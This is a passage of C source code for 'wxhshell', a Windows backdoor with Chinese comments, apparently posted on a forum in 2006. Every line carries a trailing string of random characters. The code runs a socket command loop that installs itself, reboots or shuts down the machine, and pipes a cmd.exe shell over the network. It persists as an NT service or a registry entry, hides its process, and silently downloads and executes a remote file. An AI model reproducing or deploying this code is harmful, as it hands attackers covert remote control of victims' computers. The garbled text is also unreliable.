  else { Io&HzQW^a  
'6*9pG-  
    switch(cmd[0]) { $~%h4  
  <~:2~r  
  // 帮助 T4[/_;1g  
  case '?': { pmO0/ty  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i` ay9J8N  
    break; n.C5w8f  
  } H/={RuU  
  // 安装 sNP ;  
  case 'i': { ( 5uSqw&U  
    if(Install()) (Fq:G) $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9b@yDq3hQ  
    else tE-g]y3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w~Vqg:'\$  
    break; )8SWU)/  
    } <$WS~tTz  
  // 卸载 dep"$pys>  
  case 'r': { j0(jXAc;UB  
    if(Uninstall()) J(w FJg\/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  _-9cGm v  
    else DQaE9gmC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qV/>d' ,  
    break; aUA)p}/:  
    } KDH<T4#x  
  // 显示 wxhshell 所在路径 |{_>H '  
  case 'p': { UP%6s:>:  
    char svExeFile[MAX_PATH]; "^;h'  
    strcpy(svExeFile,"\n\r"); .0~uM!3y  
      strcat(svExeFile,ExeFile); i$<")q  
        send(wsh,svExeFile,strlen(svExeFile),0); ou<,c?nNM  
    break; >mG64N  
    } ;K%/s IIke  
  // 重启 Q;A\M  
  case 'b': { {t!7r_hj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %/5Wj_|p  
    if(Boot(REBOOT)) _mwt{D2r}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vo6g /h?`  
    else { z0#2?o  
    closesocket(wsh);  ,CuWQ'H  
    ExitThread(0); qPN9Put  
    } )feZ&G]  
    break; n=AcN  
    } 2i1xSKRYrD  
  // 关机 &ODo7@v`1  
  case 'd': { a(D=ZKbVU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xgpf2y!{  
    if(Boot(SHUTDOWN)) 3JkdPh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a/1;|1a.  
    else { 5Dz$_2oM3  
    closesocket(wsh); 9cU9'r# h  
    ExitThread(0); J_m@YkK  
    } $ ]#WC\Hv  
    break; As`=K$^Il.  
    } CH;U_b  
  // 获取shell ^w2 HF  
  case 's': { n;Q8Gg2U  
    CmdShell(wsh); cCNRv$IO\  
    closesocket(wsh); !\9^|Ef?  
    ExitThread(0); P=\{  
    break; P".IW.^kk~  
  } 4v3gpLH  
  // 退出 ;ko6igx)+  
  case 'x': { )5gj0#|CG@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7')W+`o8eL  
    CloseIt(wsh); ,]W|"NUI  
    break; G -+!h4p  
    } 0y?;o*&U\  
  // 离开 pRL:,q\  
  case 'q': { ( }Bb=~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GQ>0E  
    closesocket(wsh); ~1[n@{*:(  
    WSACleanup(); w>=N~0@t  
    exit(1); c;fLM`{*  
    break; 7v)p\#-  
        } d!YP{y P  
  } \IImxkE  
  } oOU_ Nay  
Hq 3V+$  
  // 提示信息 OE9,D:t v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }2Euz.0  
} \=bKuP(it  
  } lw.[qP  
}(|gC,  
  return; LdN[N^n[H  
} k0K$OX*:e  
p'1/J:EnV  
// shell模块句柄 M*kE |q/K  
int CmdShell(SOCKET sock) 0doJF@H  
{ +>K&zS  
STARTUPINFO si; /lu|FWbEw  
ZeroMemory(&si,sizeof(si)); %Uz\P|6PO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kP ,8[r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [H>u'fy:C  
PROCESS_INFORMATION ProcessInfo; 3 ?I!  
char cmdline[]="cmd"; FiUwy/,ZV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "wTCO1  
  return 0; R_KDY  
} hpb|| V  
, f$P[c  
// 自身启动模式 L\:m)g,F.  
int StartFromService(void) k_7b0 dr%F  
{ 40h$- VYT/  
typedef struct 80[# 6`  
{ vk4 8&8  
  DWORD ExitStatus; AJxN9[Z!N  
  DWORD PebBaseAddress; }9fch9>Zr  
  DWORD AffinityMask; )&d=2M;3  
  DWORD BasePriority; 5~@-LXqL  
  ULONG UniqueProcessId; aaT3-][  
  ULONG InheritedFromUniqueProcessId; cK u[ 4D{  
}   PROCESS_BASIC_INFORMATION; k'#3fz\  
(EY@{'.&  
PROCNTQSIP NtQueryInformationProcess; 3?]81v/  
h%ys::\zF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WcNQF!f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2a eH^:u  
/}8Au$nA  
  HANDLE             hProcess; ,.cR@5qI  
  PROCESS_BASIC_INFORMATION pbi; _G/ R;N71  
jgIG";:Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); abR<( H12  
  if(NULL == hInst ) return 0; qpYgTn8l7  
vf{$2 rC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {L%JDJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T :d+Qz\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xw 43P.  
R P<M  
  if (!NtQueryInformationProcess) return 0; $) "\N  
RBn/7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h]ae^M  
  if(!hProcess) return 0; L,y q=%h|  
8xgBNQdPT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jc Mn   
?%hd3zc+f  
  CloseHandle(hProcess); ^]R_t@  
VPYLDg.'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s)r !3HS  
if(hProcess==NULL) return 0; "I/05k K  
K {v^Y,B  
HMODULE hMod; _Fa\y ZX  
char procName[255]; Jj>Rzj!m  
unsigned long cbNeeded; ~^Cx->l  
r*vh3.Agl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t,|Apl]  
O@a OKk  
  CloseHandle(hProcess); ~Dq-q6-@t  
q| 1%G Nb  
if(strstr(procName,"services")) return 1; // 以服务启动 ~&D =;M/  
`mz}D76~#  
  return 0; // 注册表启动 ue@/o,C>  
} zMbFh_dcq  
qm!oJL  
// 主模块 QjY}$  
int StartWxhshell(LPSTR lpCmdLine) ~ O#\$u  
{ SQ4^sk_!  
  SOCKET wsl; z:f&k}(  
BOOL val=TRUE;  g]?pY  
  int port=0; zl :by?  
  struct sockaddr_in door; 6LCtWX  
k4LrUd  
  if(wscfg.ws_autoins) Install(); Rh^@1{yr  
n!/0yR2S  
port=atoi(lpCmdLine); Ba m.B6-  
pJ/]\>#5  
if(port<=0) port=wscfg.ws_port; 0q"4\#4l  
`KA==;0  
  WSADATA data; =M;F&;\8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D r(0w{5  
u'l4=e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ojnO69v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c8X;4 My  
  door.sin_family = AF_INET; >2{Y5__+e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oqF?9<Vgc,  
  door.sin_port = htons(port); p-.kBF  
O^8ZnN_+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;O`f+rG~  
closesocket(wsl); D=z~]a31!  
return 1; -\f7qRW^U  
} #17 &rizl  
:VlA2Ih&q  
  if(listen(wsl,2) == INVALID_SOCKET) { q"2APvsvp  
closesocket(wsl); l}L81t7f  
return 1; aH1CX<3)~  
} z)C/U  
  Wxhshell(wsl); md+pS"8o;  
  WSACleanup(); yor'"6)i  
<jV,VKL#  
return 0; P".}Y[GD  
vK)'3%  
} Zo&i0%S\E  
i-v: %  
// 以NT服务方式启动 n<8WjrK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =|E "  
{ \HLo%]A@M  
DWORD   status = 0; !lNyoX/  
  DWORD   specificError = 0xfffffff; ; oa+Z:;f  
vEg%ivj3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0QZT<Zs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u:pOP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m* _X PY  
  serviceStatus.dwWin32ExitCode     = 0; rah"\f2  
  serviceStatus.dwServiceSpecificExitCode = 0; .?6p~  
  serviceStatus.dwCheckPoint       = 0; #[=kQ&  
  serviceStatus.dwWaitHint       = 0; &f. |MNz;  
3Y38l P:>h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rq3f/_#L!O  
  if (hServiceStatusHandle==0) return; O^~IY/[  
L3Y,z3/  
status = GetLastError(); ;9z|rWsF  
  if (status!=NO_ERROR) *G.vY#h  
{ PSq?8.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vt}QP Nt  
    serviceStatus.dwCheckPoint       = 0; @h|qL-:!vG  
    serviceStatus.dwWaitHint       = 0; L/:l>Ko>7  
    serviceStatus.dwWin32ExitCode     = status; }X{rE|@  
    serviceStatus.dwServiceSpecificExitCode = specificError; %J-0%-/_S:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3F|p8zPS  
    return; >M2~p& Si  
  } !} h) |  
>S:(BJMo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gDU!dT  
  serviceStatus.dwCheckPoint       = 0; @lj|  
  serviceStatus.dwWaitHint       = 0; `qhT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <h:xZtz  
} F M6{%}4  
)&O2l  
// 处理NT服务事件,比如:启动、停止 aDRcVA$*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x[{\Aw>$.  
{ V_~lME  
switch(fdwControl) Jd7chIK  
{ M99ku'  
case SERVICE_CONTROL_STOP: j ^j"w(a  
  serviceStatus.dwWin32ExitCode = 0; ly` A,dh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {V>F69IU  
  serviceStatus.dwCheckPoint   = 0; _" 9 q(1  
  serviceStatus.dwWaitHint     = 0; Ps@']]4>W  
  { c0Ih$z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $}su 'EIo  
  } 0L/chP  
  return; LnE/62){N  
case SERVICE_CONTROL_PAUSE: ,7@\e &/&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; As46:<!2  
  break; <w^u^)iLy1  
case SERVICE_CONTROL_CONTINUE: -O$vJ,*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l-%] f]>  
  break; r gIWM"  
case SERVICE_CONTROL_INTERROGATE: 9 ~W]D!m,  
  break; +45SKu=  
}; c~(61Sn]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3&})gU&a  
} 5{b;wLi$X2  
O;RBK&P  
// 标准应用程序主函数 j#p;XI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r&8aB85  
{ nBk&+SN  
`$> Y  
// 获取操作系统版本 cS%dTrfo  
OsIsNt=GetOsVer(); < ?B3^z$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hdw.S`~}%  
#l}Fk)dj  
  // 从命令行安装 l jK?2z>  
  if(strpbrk(lpCmdLine,"iI")) Install(); mce qZv  
B{Vc-qJ  
  // 下载执行文件 |^Y"*Y4*h  
if(wscfg.ws_downexe) { 7vZO;FGtG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F6sQeU  
  WinExec(wscfg.ws_filenam,SW_HIDE); y\_+,G0  
} FcM)v"bF&]  
1?&|V1vc  
if(!OsIsNt) { H[.)&7M\  
// 如果时win9x,隐藏进程并且设置为注册表启动 cV6H!\  
HideProc(); b, a7XANsh  
StartWxhshell(lpCmdLine); 129\H< m  
} ) Z3KO  
else EmT_T 3v  
  if(StartFromService()) |c0^7vrC  
  // 以服务方式启动 fd *XK/h  
  StartServiceCtrlDispatcher(DispatchTable); 8D)1ZUx7`  
else 2J t{oh|  
  // 普通方式启动 ;l!<A  
  StartWxhshell(lpCmdLine); 3H!]X M  
i_N8)Z;r  
return 0; HFP'b=?`]|  
}
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只看该作者 1 发表于: 2006-10-10
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